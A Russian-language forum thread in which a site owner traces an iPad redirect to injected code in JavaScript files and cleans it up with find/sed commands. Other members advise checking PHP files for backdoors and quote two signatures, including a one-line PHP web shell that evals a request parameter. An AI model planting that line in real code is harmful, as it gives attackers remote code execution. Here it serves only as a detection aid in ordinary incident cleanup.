Сайт на iPad перекидывает на страницу Adobe Flash при попытке загрузить любой JS файл

28
На сайте с 31.10.2009
Offline
116
1185

Здравствуйте, уважаемые форумчане.

При попытке открыть сайт на любом Apple устройстве сайт перекидывает на страницу загрузки Адоб Флэш. Но! На сайте совершенно точно нету никаких флэш-элементов.

Методом последовательного удаления кусков вёстки обнаружил, что сайт перекидывает на загрузку Флэша только при попытке загрузить какой-либо .js файл, например modernizr-2.6.2.min.js.

Что за парадокс, как вылечить?

Борец за чистоту Интернета.
K5
На сайте с 21.07.2010
Offline
209
#1

не парадокс, сайт взломан, в файлах добавлен мобильный редирект...

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
28
На сайте с 31.10.2009
Offline
116
#2
kgtu5:
не парадокс, сайт взломан, в файлах добавлен мобильный редирект...

Угу, так и оказалось.

Причём сайт, похоже, взломан через timymce.

Переводит на некий online2you.org

Будем лечить.

28
На сайте с 31.10.2009
Offline
116
#3

Вирусни оказалось даже две.

Одну удалил по точному вхождению строки, зашёл через SSH и ввёл команду

find /sitedir -name '*.js' -exec sed -i 's/textdodelete//' {} \;

Вторую этой же командой, но сделал проверку регулярным выражением по вхождению определённого текста в строку. При нахождении строка удаляется целиком

find /sitedir -name '*.js' -exec sed -i '/7kSKlBXYjNXZfhSZwF2YzVm/d' {} \;

K5
На сайте с 21.07.2010
Offline
209
#4

а теперь осталось найти причину: "чем" напостили и как это "чем" на сайте оказалось (99% оно есть и грязь повторится)...

IL
На сайте с 20.04.2007
Offline
435
#5
2038:
При нахождении строка удаляется целиком

Видимо, ещё не попадались варианты, которые дописываются в уже имеющуюся строку.. после удаления которой всё поползёт..

Присоединюсь к kgtu5 - почитайте, проверьтесь..

... :) Облачные серверы от RegRu - промокод 3F85-3D10-806D-7224 ( http://levik.info/regru )
F
На сайте с 07.02.2006
Offline
64
#6

А теперь проверить php файлы на наличие двух строк

eval(gzinflate(base64_decode('

if (isset($_REQUEST['en'])) eval(stripslashes($_REQUEST['en']));

Это источники. Судя по сигнатурам в js, только что боролся с тем же вирем.

Посмотреть дату и время создания файлов. Посмотреть в логах дырку.

Php файлы надо удалить обязательно иначе js опять заразят.

Весь алгоритм расписывал тут.

И надо обновить Джумлу и плагины. Лезет где то в дырку Джумлы.

Лечение сайтов от вирусов (http://fstrange.ru/coder/php/cure-joomla-phpshell.html) |Ремонт iPhone в Ростове (http://a-stor.ru/iphone/remont-iphone-5-v-rostove.html)

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий